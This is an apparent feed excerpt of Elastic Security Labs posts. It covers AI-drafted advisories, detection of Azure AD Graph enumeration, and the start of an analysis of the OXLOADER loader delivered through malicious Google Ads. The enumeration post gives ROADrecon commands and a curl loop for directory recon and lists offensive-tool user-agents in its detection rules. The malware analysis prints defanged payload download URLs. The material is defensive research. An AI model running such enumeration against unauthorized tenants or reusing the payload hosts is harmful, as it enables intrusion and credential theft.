<p>The CVSS score is explicitly labelled draft in the agent's output — the Engineering team responsible for the product and the InfoSec Product Security team sign off on the final score before publication. In practice most drafts need light editing rather than rewriting; the agent gets the structure right, and the reviewer is checking judgment calls and product-specific behaviour.</p>
<p>The example output below is what the agent produced for <a href="https://discuss.elastic.co/t/metricbeat-8-19-10-9-1-10-9-2-4-security-update-esa-2026-01/384519">ESA-2026-01</a>, an advisory we published for Metricbeat.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/security-advisory-automation-rag-elastic-agent-builder/example-output.png" alt="Sample output" /></p>
<h2>What's next: closing the loop with Elastic Workflows</h2>
<p>Combining generative AI with RAG against authoritative MITRE catalogues has turned what used to be a manual, time-consuming task into a consistent and faster part of our advisory process. The pipeline is already producing drafts that go to production — <a href="https://discuss.elastic.co/t/metricbeat-8-19-10-9-1-10-9-2-4-security-update-esa-2026-01/384519">ESA-2026-01</a>, shown above, is one example.</p>
<p>The biggest win is the slowest part of the old process: taking a long vulnerability report — often varying in quality and dense with technical detail — and distilling it into a concise, accurate advisory with a clear impact assessment for customers. That distillation, along with the CVE templating, CWE/CAPEC mapping, and CVSS metric reasoning, is now drafted by the agent. Our team's effort goes into the parts that need human judgment: product-specific behaviour and impact scoring.</p>
<p>The next step is closing the loop end-to-end. Today, the agent is invoked manually; an analyst pastes the vulnerability report into the conversation window. We want to wire this into the triage step itself, using something like <a href="https://www.elastic.co/kr/docs/explore-analyze/workflows">Elastic Workflows</a>: once a vulnerability is confirmed and accepted for disclosure, the workflow invokes the agent automatically and produces a draft advisory. From there, InfoSec and Engineering collaborate on a single document, replacing the manual hand-offs between triage, drafting, and review.</p>
<p>What made this work was the combination of stable, authoritative data to ground the agent against and a strict review step. Both matter. The same pattern can apply to any structured drafting task with a defined output template and a trustworthy data source. To learn more about building your own generative AI solutions with Elastic, check out the <a href="https://www.elastic.co/kr/docs/explore-analyze/ai-features/elastic-agent-builder">Elastic Agent Builder documentation</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/security-advisory-automation-rag-elastic-agent-builder/cover.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Azure AD Graph Activity Logs: Ingestion and threat detection to close the visibility gap]]></title>
            <link>https://www.elastic.co/kr/security-labs/aad-graph-activity-logs-threat-detection</link>
            <guid>aad-graph-activity-logs-threat-detection</guid>
            <pubDate>Fri, 19 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Azure AD Graph Activity Logs land in Elastic with full ECS parsing. Detect ROADrecon and AADInternals enumeration with ready-to-use detection rules. ]]></description>
            <content:encoded><![CDATA[<p>AAD Graph Activity Logs are now ingestible into Elastic and usable for threat detection within the <a href="https://www.elastic.co/kr/security/xdr">SIEM/XDR solution</a>. That sentence shouldn't be exciting, but it is. For most of the past decade, this slice of telemetry simply didn't exist as a customer-accessible log stream. Microsoft Graph Activity Logs (the modern <em>graph.microsoft.com</em> surface) went GA in April 2024. The legacy graph.windows.net surface, the one adversary tooling actually hits, stayed dark until early 2026.</p>
<p>This post walks the loop end-to-end. Why visibility matters, how to ingest the logs into Elastic, how to generate realistic recon manually and with ROADrecon, and how to hunt the result in ES|QL. Everything below was validated against a live tenant.</p>
<h2>Key takeaways</h2>
<ul>
<li>
<p>AAD Graph Activity Logs ride into Elastic through the <a href="https://www.elastic.co/kr/docs/reference/integrations/azure">Azure integration</a> and land in <code>logs-azure.aadgraphactivitylogs-*</code> with full ECS extraction.</p>
</li>
<li>
<p>ROADtools, AADInternals, and friends have been operating in a visibility gap for years. Defenders weren't capturing the calls.</p>
</li>
<li>
<p>AAD Graph is &quot;deprecated&quot; but still queryable in most tenants. The 1.61-internal API version still returns data that Microsoft Graph won't.</p>
</li>
<li>
<p>ECS fields land typed (<code>event.action</code>, <code>event.outcome</code>, <code>http.request.method</code>, <code>source.ip</code>, <code>user.id</code>, <code>user_agent.original</code>). Dataset extras stay queryable under <code>azure.aadgraphactivitylogs.properties.*</code>.</p>
</li>
<li>
<p>Five hunts reliably catch the activity: tooling user-agents, endpoint breadth, <code>*-internal</code> API misuse, FOCI client-ID mismatches, and 4xx surges.</p>
</li>
</ul>
<h2>A short history of defender visibility</h2>
<p>Defenders have spent years on sign-ins, conditional access, role assignments, and OAuth consent grants. Very little content covers the <em>underlying</em> directory APIs that adversary tooling actually hits. The reason is structural: customer-accessible logs for those APIs didn't exist. Microsoft Graph Activity Logs landed first (preview October 2023, GA April 2024). AzureADGraphActivityLogs finally showed up in early 2026.</p>
<p>For most of the past decade, AAD Graph enumeration was invisible to SOCs, not because the telemetry was hidden, but because it didn't exist. ROADtools, AADInternals, MSOLSpray, Microburst. None of them produced data that anyone could capture, even with a perfect logging configuration.</p>
<p>That changes the day AzureADGraphActivityLogs start landing in your platform-logs index.</p>
<h2>AAD Graph is “deprecated” but still very much alive</h2>
<p>Quick refresher. Azure AD Graph is the legacy REST API for Entra ID directory objects, hosted at <code>https://graph.windows.net/{tenantId}/{objecttype}</code> with API versions like <em>1.5</em>, <em>1.6</em>, and <em>1.61-internal</em>. Microsoft has been telling everyone to migrate to Microsoft Graph since 2019, and the retirement date has slipped several times.</p>
<p>Deprecation isn’t gone. In 2026, AAD Graph can still answer requests in environments where legacy access paths remain available or where applications have not been explicitly blocked from using it. A few reasons it sticks around as an attacker target:</p>
<ul>
<li>
<p>Adversary tooling hasn't been ported. ROADrecon still uses it for <code>gather</code>. AADInternals has dozens of cmdlets wrapping it.</p>
</li>
<li>
<p>The <code>*-internal</code> API versions return more data. <code>1.61-internal</code> exposes <code>strongAuthenticationDetail</code> inline on the user object during a normal directory walk. The Microsoft Graph equivalent lives behind a separate /authentication/methods endpoint gated by <code>UserAuthenticationMethod.Read.All</code>. That asymmetry is exactly what bulk enumeration tooling exploits.</p>
</li>
<li>
<p>The block isn't a single toggle. The <code>blockAzureADGraphAccess</code> control lives per-app on <code>application.authenticationBehaviors</code>, so blocking tenant-wide means iterating every app registration. Most environments haven't done that because some legacy automation still depends on the API. Microsoft's phased retirement enforcement does the work on Microsoft's timeline, not the defender's.</p>
</li>
<li>
<p>Visibility did not exist, thus red teamers and adversaries could hammer the API endpoints for relevant information.</p>
</li>
</ul>
<p>Legitimate AAD Graph traffic is dominated by a handful of first-party Microsoft callers. In our test tenant, the order, by volume, was <code>Microsoft.OData.Client</code>, <code>Microsoft Azure Graph Client Library</code>, an empty-UA tail from first-party AppIds, <code>Microsoft ADO.NET Data Services</code>, and the Azure portal (Chrome UAs against the portal app ID). Anything outside that recognisable set is either internal tooling or unauthorized activity. That makes it a solid threat hunting/detection dataset. If you're capturing it.</p>
<h2>Setting up the ingestion pipeline</h2>
<p>If you're already running the Elastic Azure <a href="https://www.elastic.co/kr/docs/reference/integrations/azure">integration</a> with diagnostic settings forwarding to an event hub, skim this section. You probably just need to enable one extra log category. From scratch, it's about a 20-minute path.</p>
<h4>Step 1: A stack to receive the logs</h4>
<p>Any Elastic deployment works. An Elastic Cloud trial is the lowest-friction option for prototyping. Another option is the <a href="https://github.com/peasead/elastic-container">Elastic Container Project</a> for getting started. The Azure integration already handles AzureADGraphActivityLogs once it's enabled.</p>
<h4>Step 2: Add the Azure integration</h4>
<p>In Kibana, Integrations &gt; Azure Logs &gt; Add Azure Logs. Plug in your Event Hub connection string, the Event Hub name, and a Storage account for offset checkpointing, all on an event hub in the same subscription as your tenant.</p>
<p>Enable the Azure logs v2 data stream specifically. That's the entry point for AAD Graph Activity Logs. The events router matches <code>category == &quot;AzureADGraphActivityLogs&quot;</code> and reroutes documents to <code>logs-azure.aadgraphactivitylogs-*</code>, where the dataset pipeline applies full ECS extraction.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/collect-azure-logs.png" alt="" /></p>
<p>We've also broken Azure AD Graph Activity Logs out into its own integration item, so you can search for &quot;Azure AD Graph Activity Logs&quot; and install via the policy template directly.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/azure-graph.png" alt="" /></p>
<h4>Step 3: Enable diagnostic settings on Entra ID</h4>
<p>This is the step most defenders miss. AzureADGraphActivityLogs as a diagnostic-settings category is newer. Even if your Entra ID diagnostic settings have been configured for a while now, the new category needs a fresh tick. Otherwise, the data lives and dies in Microsoft's tenant boundary.</p>
<p>In the Azure portal:</p>
<ol>
<li>Entra ID &gt; Monitoring &gt; Diagnostic settings &gt; + Add diagnostic setting.</li>
<li>Name it.</li>
<li>Under Logs, check AzureADGraphActivityLogs. While you're there, MicrosoftGraphActivityLogs, SignInLogs, and AuditLogs are worth turning on if they aren't already. The integration handles all of them.</li>
<li>Under Destination details, Stream to an event hub (the same one from step 2).</li>
<li>Save.</li>
</ol>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/diagnostic-setting.png" alt="" /></p>
<h4>Step 4: Verify data is flowing</h4>
<p>Within a few minutes, you should start seeing events. Fastest sanity check:</p>
<pre><code class="language-sql">FROM logs-azure.aadgraphactivitylogs-*
| LIMIT 20
</code></pre>
<p>If documents come back with a populated <code>event.action</code>, <code>http.request.method</code>, and <code>zure.aadgraphactivitylogs.properties.*</code> fields, you're good. If nothing shows up, the usual suspects are a forgotten event hub permission, a typo in the connection string, or the AAD Graph category just not being ticked.</p>
<p>To force a few events, sign in to the Azure portal and click around Users or Applications. The portal still calls AAD Graph internally for some object details. If that doesn't generate anything, this curl loop will:</p>
<pre><code class="language-sh">TOKEN=$(az account get-access-token --resource https://graph.windows.net --query accessToken -o tsv)
TID=$(az account show --query tenantId -o tsv)
for obj in users groups servicePrincipals applications tenantDetails; do
  curl -sS -o /dev/null -H &quot;Authorization: Bearer $TOKEN&quot; \
    &quot;https://graph.windows.net/$TID/$obj?api-version=1.6&amp;\$top=5&quot;
done
</code></pre>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/verify-data-flowing.png" alt="" /></p>
<h2>Field shape</h2>
<p>Once data is flowing, properties land as typed, top-level fields. The ones that matter for hunting:</p>
<ul>
<li><a href="https://www.elastic.co/kr/docs/reference/ecs">ECS</a>, populated directly: <code>event.action</code> (a semantic verb derived from method + collection, e.g., <code>users-read, batch-execute</code>), <code>event.outcome</code>, <code>event.duration</code>, <code>http.request.method</code>, <code>http.response.status_code, source.ip</code>, and <code>source.geo.*, user.id, user_agent.original</code> (plus parsed sub-fields), <code>url.path, azure.tenant_id, cloud.service.name = &quot;Azure AD Graph&quot;</code>.</li>
<li>Dataset-specific under <code>zure.aadgraphactivitylogs.properties.*: app_id,</code>, <code>app_id</code>, <code>api_version</code>, <code>actor_type</code>, <code>roles</code>, <code>scopes</code>, <code>wids</code>, <code>identity_provider</code>, <code>client_auth_method</code>, <code>sign_in_activity_id</code>, <code>token_issued_at</code>.</li>
<li><code>related.user</code> gets both <code>user.id</code> and <code>properties.app_id</code>, so pivots on the OAuth-client dimension work alongside the user pivot.</li>
</ul>
<p>Raw JSON stays in <em>event.original</em> for forensic replay. You shouldn't need to reach into it for normal hunting. If you do, ES|QL's <a href="https://www.elastic.co/kr/docs/reference/query-languages/esql/functions-operators/string-functions/json_extract"><em>JSON_EXTRACT()</em></a> is the lever.</p>
<h2>AAD Graph enumeration with ROADrecon</h2>
<p>To know what to hunt, you need to know what the activity looks like. The two toolkits below are the most common sources of AAD Graph traffic in red team and security research workflows. I ran both against our testing tenant.</p>
<p>Note: I take no responsibility for misuse of this code. Run these tools only against tenants you own or have explicit written authorization to test.</p>
<h3>ROADrecon: Bulk enumeration test</h3>
<p>ROADrecon is the data-collection module of <a href="https://github.com/dirkjanm/ROADtools">ROADtools</a>, Dirk-jan Mollema's Entra ID research framework. Highly recommended if you haven't used it. <em>gather</em> walks every interesting object type in the directory (users, groups, service principals, applications, devices, directory roles, role assignments, eligible role assignments, OAuth2 permission grants, administrative units) and writes the result to SQLite.</p>
<p>Setup is the standard workflow:</p>
<pre><code class="language-sh">pip install roadrecon
roadrecon auth --device-code -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 -r https://graph.windows.net
</code></pre>
<p>The device-code flow hands you a URL and a code. We use the Microsoft Azure CLI as the default (<code>1b730954-1685-4b74-9bfd-dac224a7b894</code> - AAD PowerShell), which returned 403s in our tenant. After signing in:</p>
<pre><code class="language-sh">roadrecon gather
</code></pre>
<p>Running <em>roadrecon gather</em> with the resulting token completed cleanly. From the tenant's perspective, the run produced just over ~2,000 AAD Graph calls and logs in roughly 1 minute. Bulk enumeration across every object type ROADrecon knows.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/roaddrecon.png" alt="" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/roaddrecon2.png" alt="" /></p>
<p>From this, we can form some initial detections to start flagging these anomalies.</p>
<h2>Key fields for AAD Graph threat detection</h2>
<p>Before the hunts, here are some solid starting fields for detecting anomalies.</p>
<table>
<thead>
<tr>
<th>Field</th>
<th>Description</th>
<th>What you can find</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>event.action</code></td>
<td>Semantic verb (HTTP method + collection, e.g.,`users-read, batch-execute)</td>
<td>A cheap filter to isolate AAD Graph activity by intent</td>
</tr>
<tr>
<td><code>http.request.method</code></td>
<td>GET, POST, PATCH`, DELETE</td>
<td>Reads (recon) vs writes (modification, credential injection, persistence)</td>
</tr>
<tr>
<td><code>http.response.status_code</code></td>
<td>HTTP status returned</td>
<td>Successful vs blocked recon; bursts of 4xx indicate permission-probing or brute-forcing</td>
</tr>
<tr>
<td><code>user.id</code></td>
<td>Calling user's directory object ID</td>
<td>Identity attribution; pivot to that user's other activity in SignInLogs / AuditLogs</td>
</tr>
<tr>
<td><code>user_agent.original</code></td>
<td>Full UA string of the caller</td>
<td>Whether the caller is a first-party Microsoft library, a developer tool (curl, Python aiohttp), or known offensive tooling</td>
</tr>
<tr>
<td><code>url.path</code></td>
<td>Resource path (/users, /policies, /servicePrincipals, ...)</td>
<td>Which directory object types are being touched; breadth across distinct paths indicates bulk enumeration</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.app_id</code></td>
<td>OAuth client ID that issued the token</td>
<td>Whether traffic comes from a legitimate first-party client or from a FOCI-swap-style abuse path</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.api_version</code></td>
<td>1.5, 1.6, 1.61-internal, etc.</td>
<td>Whether the caller is asking for internal-only fields (strongAuthenticationDetail, full CAP set) that adversary tooling specifically targets</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.actor_type</code></td>
<td>User, Application, ServicePrincipal</td>
<td>Human caller vs service-principal / app-only flow</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.roles</code> / <code>wids</code></td>
<td>Directory role display names and well-known role template GUIDs held by the caller</td>
<td>Whether a privileged role (Global Admin, Application Administrator, etc.) is being exercised at the moment of the call</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.scopes</code></td>
<td>OAuth scopes on the calling token</td>
<td>Which directory permissions the token actually grants the caller</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.client_auth_method</code></td>
<td>How the client authenticated (PRT, certificate, secret, ...)</td>
<td>Fingerprints for PRT abuse, device-PRT exploitation, or stolen client-credential use</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.sign_in_activity_id</code></td>
<td>Correlation ID to the originating sign-in</td>
<td>Pivot from an AAD Graph call back to the sign-in event that produced the calling token</td>
</tr>
<tr>
<td><code>azure.aadgraphactivitylogs.properties.token_issued_at</code></td>
<td>Timestamp the token was minted</td>
<td>Token-age analysis; calls riding on a token issued days ago can indicate stale-token / refresh-token abuse</td>
</tr>
</tbody>
</table>
<h2>Detection and prevention</h2>
<h3>Detection</h3>
<p>The prerequisite for any AAD Graph detection is having the logs in the first place. The <em>AzureADGraphActivityLogs</em> diagnostic category needs to be enabled in Entra ID and routed to a destination you can query (at minimum a Log Analytics workspace, ideally also forwarded to an event hub for Elastic ingestion as described in the setup section above). Until that's done, the calls described in this post happen entirely off-camera, and none of the hunts below will fire.</p>
<p>If you can't ingest into Elastic right now, enable the diagnostic setting anyway and send to Log Analytics. The KQL equivalents of the hunts below are straightforward, and the data accumulates with retention even without further processing.</p>
<h3>Prevention</h3>
<p>There's no single tenant-wide AAD Graph kill-switch in the portal. The actual application-layer control is:</p>
<ul>
<li><code>application.authenticationBehaviors.blockAzureADGraphAccess</code></li>
</ul>
<p>A per-app Boolean on the application resource (Microsoft Graph beta, <a href="https://learn.microsoft.com/en-us/graph/api/resources/authenticationbehaviors">docs</a>). Blocking at scale means walking through every app registration and flipping it manually or programmatically. Microsoft's own phased retirement is doing this on their timeline regardless. The further along that gets, the less surface there is to defend.</p>
<p>Defenders can move on the same axes in the meantime:</p>
<ul>
<li>
<p>Audit applications in your tenant that still hold tokens for <em>graph.windows.net</em>. Set <code>blockAzureADGraphAccess = true</code> on the ones that don't need it. Anything still depending on AAD Graph breaks loudly, which surfaces legacy automation you didn't know you had.</p>
</li>
<li>
<p>Apply Conditional Access with Azure AD Graph as a target resource. The Azure AD Graph service principal (<code>00000002-0000-0000-c000-000000000000</code>) doesn't show in the standard CA app picker, but it's covered by <em>All resources</em> policies and is individually targetable via the <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps#protect-directory-information">custom security attribute filter approach</a>. Microsoft's <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-conditional-access-cloud-apps#new-conditional-access-behavior-when-an-all-resources-policy-has-a-resource-exclusion">March 2026 enforcement change</a> makes this more practical: low-privilege scopes (<em>User.Read</em>, <em>People.Read</em>, etc.) that used to be auto-excluded from CA enforcement are now treated as AAD Graph access, so <em>all resource</em> policies actually gate them. CA evaluates at token issuance, so already-valid tokens keep working until expiry.</p>
</li>
<li>
<p>Apply CA to the FOCI clients adversary tooling rides on (Microsoft Teams, Microsoft Office, OneDrive, Azure PowerShell, etc.). Require managed and compliant devices. The swap path collapses if the underlying client can't sign in.</p>
</li>
<li>
<p>For service-principal callers, <a href="https://learn.microsoft.com/en-us/entra/identity/conditional-access/workload-identity">Workload Identities Premium</a> adds CA scoped to service principals. Conditions are limited to location, Identity Protection risk, and authentication context; the only grant control is Block. Useful for collapsing external- and risky-context paths, not for scoping an SP to specific cloud apps the way user CA does.</p>
</li>
<li>
<p>Disable device-code flow for users who don't need it. <code>roadrecon auth --device-code</code> is the path of least resistance into the entire pipeline above and is extremely common in OAuth phishing.</p>
</li>
</ul>
<h3>Behavior detection</h3>
<p>We shipped detection rules covering the AAD Graph recon shapes documented above. Each lives in the <a href="https://github.com/elastic/detection-rules">Elastic detection-rules</a> repository and runs natively against the parsed <code>logs-azure.aadgraphactivitylogs-*</code> data stream.</p>
<p><a href="https://github.com/elastic/detection-rules/blob/31d1fa31152c208dfde4feeb6737ca06e030ae53/rules/integrations/azure/discovery_aad_graph_suspicious_user_agent.toml">Azure AD Graph Access with Suspicious User-Agent</a> - KQL match rule. Triggers when AAD Graph receives traffic from user-agent strings matching offensive tooling families (Python, aiohttp, curl, Go-http-client, axios, AzureHound, BloodHound, AADIntenals, etc.). Solid baseline signal because no first-party Microsoft component identifies as any of these, while default tooling does. </p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/azuread-graph-suspicious-user-agent.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/df0396ea4a3b0fb25529444166c36c430941d3a6/rules/integrations/azure/discovery_aad_graph_high_4xx_ratio_by_user.toml">Azure AD Graph High 4xx Error Ratio from User</a> - ES|QL aggregation. Triggers when a single caller produces an unusually high ratio of 4xx responses against AAD Graph in a short window. Recon and brute-force token usage leave a tail of 403s and 404s as tools walk endpoints they don't have permission for, ask for object IDs they don't have, or use a client ID unauthorized for AAD Graph. </p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/azure-ad-graph-high-error-ratio-user.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/0c15c6c581780d962b33972a8a83263b75fb2d79/rules/integrations/azure/discovery_aad_graph_unusual_client_for_user.toml">Azure AD Graph Access with Unusual Client and User</a> - KQL new_terms rule, medium severity. Fires when a (calling OAuth client, signed-in user) pair appears on AAD Graph for the first time in the prior 14 days. Catches FOCI swaps, phished refresh tokens redeemed for clients the user doesn't normally use, and stolen tokens used under unfamiliar clients. Ignores known first-party applications that were commonly observed interacting with Azure AD that are backend owned by Microsoft.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/azure-unusual-client-user.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/6f933e04ddbe720898c9ea9c4bae234700a822fe/rules/integrations/azure/initial_access_aad_graph_unusual_asn.toml">Azure AD Graph Access with Unusual User and ASN</a> - KQL match rule. Excludes the common Microsoft / AWS / GCP / Akamai / Cloudflare ASN organisations and flags AAD Graph traffic originating outside that set. Adversary tooling typically rides on residential ISPs, VPS providers, or anonymising networks that produce a different ASN distribution than legitimate first-party callers. Tunable per tenant by adjusting the excluded ASN list.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/3.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/4256409e8925a8da016448d1378bc669c2333961/rules/integrations/azure/discovery_aad_graph_roadrecon_aiohttp_enumeration.toml">Azure AD Graph Potential Enumeration (ROADrecon)</a> - ES|QL aggregation, <strong>high severity</strong>. Requires both an <em>aiohttp</em> user-agent and a burst of 500+ AAD Graph requests from a single identity. ROADrecon's <em>gather</em> command uses aiohttp by default and walks every directory object type, so the combination is essentially a tool fingerprint. Higher severity than the generic non-Microsoft UA rule because the additional burst requirement removes the developer-prototype false-positive class.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/graph-potential.png" alt="" /></p>
<p><a href="https://github.com/elastic/detection-rules/blob/6a946179e66c7a952e55a33741c160d6bd83f3b8/rules/integrations/azure/credential_access_device_code_signin_aad_graph_enum.toml">Entra ID OAuth Device Code Sign-in to Azure AD Graph Enumeration</a> - EQL sequence, <strong>high severity</strong>. Joins a successful device-code sign-in to the legacy AAD Graph audience (<code>00000002-0000-0000-c000-000000000000</code>) on an unmanaged device with directory enumeration against <em>graph.windows.net</em> by the same user within five minutes. Device-code phishing lands an OAuth token without touching the user's password or MFA, so immediate Graph reads of users, service principals, applications, role assignments, policies, or tenant details under that token are the compromised identity being driven by the attacker. Cross-data-stream sequence removes the single-event false-positive class that the other AAD Graph rules carry.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/id-oauth.png" alt="" /></p>
<h2>AAD Graph visibility: what comes next</h2>
<p>For most of the past decade, AAD Graph activity was the telemetry equivalent of dark matter. We knew it was there because adversary tooling kept pointing at it, but customers had no diagnostic stream to subscribe to and no logs to query. Microsoft Graph Activity Logs closed half the gap when they went GA in April 2024. <em>AzureADGraphActivityLogs</em> finally closed the other half in early 2026.</p>
<p>Now that the data exists, the rest is on us. Add the new diagnostic setting, point it at an event hub, ingest into your stack, turn detections on (or create your own) and get to monitoring.</p>
<p>The detections in this post are a starting point. Once you have AAD Graph traffic landing in your stack and a baseline of what normal looks like in your tenant, the same patterns generalize. Legitimate first-party Microsoft callers form a small, recognisable set, and anything outside that set deserves a closer look.</p>
<p>The activity was always there. The visibility finally is too.</p>
<p>Happy hunting!</p>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/kr/docs/reference/integrations/azure">Elastic Azure Integration</a></li>
<li><a href="https://github.com/dirkjanm/ROADtools">ROADtools GitHub</a></li>
<li><a href="https://github.com/dirkjanm/ROADtools/wiki">ROADtools wiki</a></li>
<li><a href="https://github.com/dirkjanm/BloodHound-AzureAD">BloodHound with Azure AD capabilities</a></li>
<li><a href="https://github.com/Gerenios/AADInternals">AADInternals</a></li>
<li><a href="https://aadinternals.com/aadinternals/">AADInternals documentation</a></li>
<li><a href="https://learn.microsoft.com/en-us/graph/migrate-azure-ad-graph-overview">Migrate your apps from Azure AD Graph to Microsoft Graph</a></li>
<li><a href="https://learn.microsoft.com/en-us/entra/identity/monitoring-health/howto-configure-diagnostic-settings">Configure Microsoft Entra diagnostic settings for activity logs</a></li>
<li><a href="https://learn.microsoft.com/en-us/graph/microsoft-graph-activity-logs-overview">Access Microsoft Graph activity logs</a></li>
<li><a href="https://techcommunity.microsoft.com/blog/microsoft-entra-blog/microsoft-graph-activity-logs-is-now-generally-available/4094535">Microsoft Graph activity logs is now generally available</a></li>
<li><a href="https://www.invictus-ir.com/news/the-missing-link-aadgraphactivitylogs-finally-arrives">The Missing Link: AADGraphActivityLogs Finally Arrives</a></li>
<li><a href="https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/">Azure AD privilege escalation - Taking over default application permissions as Application Admin</a></li>
<li><a href="https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/">Abusing Azure AD SSO with the Primary Refresh Token</a></li>
</ul>
<h2>About Elastic Security Labs</h2>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.Follow Elastic Security Labs on Twitter <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/kr/security-labs/">www.elastic.co/security-labs/</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/aad-graph-activity-logs-threat-detection/covernew.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Lost in relocation: analysis of a new loader distributing CASTLESTEALER]]></title>
            <link>https://www.elastic.co/kr/security-labs/oxloader-malware-loader-infostealer</link>
            <guid>oxloader-malware-loader-infostealer</guid>
            <pubDate>Fri, 19 Jun 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Find out how a new obfuscated loader evades static detection using .reloc section abuse, five anti-VM/language checks and MBA obfuscation to deliver infostealer malware via Google Ads.]]></description>
            <content:encoded><![CDATA[<p>A previously undocumented Windows loader tracked as OXLOADER is delivering the CASTLESTEALER infostealer via malicious Google Ads, with low detection rates across static engines and sandbox detonations. The loader uses several obfuscation layers (control-flow flattening, opaque predicates, mixed Boolean-Arithmetic), self-modifying decryption stubs, and abuses the Windows <code>.reloc</code> section to stage shellcode.</p>
<p>Elastic Security Labs identified OXLOADER in an active campaign targeting one of our customers; CIS-region and Russian-language exclusions point to a financially motivated, Russian-speaking threat actor. We have found no prior public reporting on this family.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs discovers new loader (OXLOADER)</li>
<li>OXLOADER observed in campaigns distributing CASTLESTEALER via malicious Google Ads</li>
<li>CIS-region exclusion and Russian language checks suggest a Russian-speaking, financially motivated threat actor</li>
<li>Low detection rates across static engines and sandbox detonations</li>
<li>Elastic Defend stops the entire attack chain using advanced prevention capabilities</li>
</ul>
<h1>How malvertising delivered OXLOADER to victims</h1>
<p>OXLOADER is distributed via malicious Google Ads impersonating Node.js. Victims are redirected through an intermediary domain to a Storj-hosted batch script, which downloads and executes OXLOADER.</p>
<p>The infection began when the user searched for an <code>lts version of node.js</code> and clicked a sponsored result leading to <code>node-js[.]prentiva99[.]info</code>, a <a href="https://gist.github.com/jiayuchann/fc37e3c047ebd987619e440c44b465ad">malicious landing page</a> designed to impersonate a legitimate Node.js deployment platform. The threat actor operated a Google Ads campaign targeting US-based victims; the ad was last shown on Apr 23, 2026, and the site is now offline. The advertiser was registered under the verified name <code>ВОЛОДИМИР ТЕРЕЩЕНКО</code>, based in Ukraine. Whether this reflects the actual operator, a front account, or a purchased identity remains unclear. On May 14, 2026, the advertiser along with their associated ad campaigns were removed from Google entirely.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image1.png" alt="Advertiser’s profile on Google Ads Transparency Center" title="Advertiser’s profile on Google Ads Transparency Center" /></p>
<p>Upon interaction, the user was redirected through <code>app[.]miloyannopoulos[.]com/download?subid1=download</code>, which responded with a <code>302 Found</code> to the payload URL <code>link[.]storjshare[.]io/raw/jux4e4ky5mruo4jkxsssp42sau4q/ruslan/BATPackageBuilderSetup.bat</code>. This delivered a Windows batch script, hosted on <a href="https://www.storj.io/">Storj’s</a> legitimate link-sharing service, which the threat actor abused to evade domain-based reputation filtering.</p>
<p>The batch script displays a fake software installation wizard UI, immediately downloads the next-stage executable from the Storj URL <code>link.storjshare[.]io/raw/jwwvr4oskkkjsgevt774ta62ehya/ruslan/aBsvwbdas.exe</code> via PowerShell, and launches it with <code>-Verb RunAs</code> to trigger a UAC elevation prompt.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/oxloader-malware-loader-infostealer/image11.png" alt="Batch script downloading and launching OXLOADER" title="Batch script downloading and launching OXLOADER" /></p>
<p>Following execution of the Batch script, Elastic Defend detected malicious behavior (policy was set to detect only), triggering multiple behavioral rules including <code>Microsoft Common Language Runtime Loaded from Suspicious Memory</code>, hinting at a .NET-based payload consistent with <code>CASTLESTEALER</code>.</p>
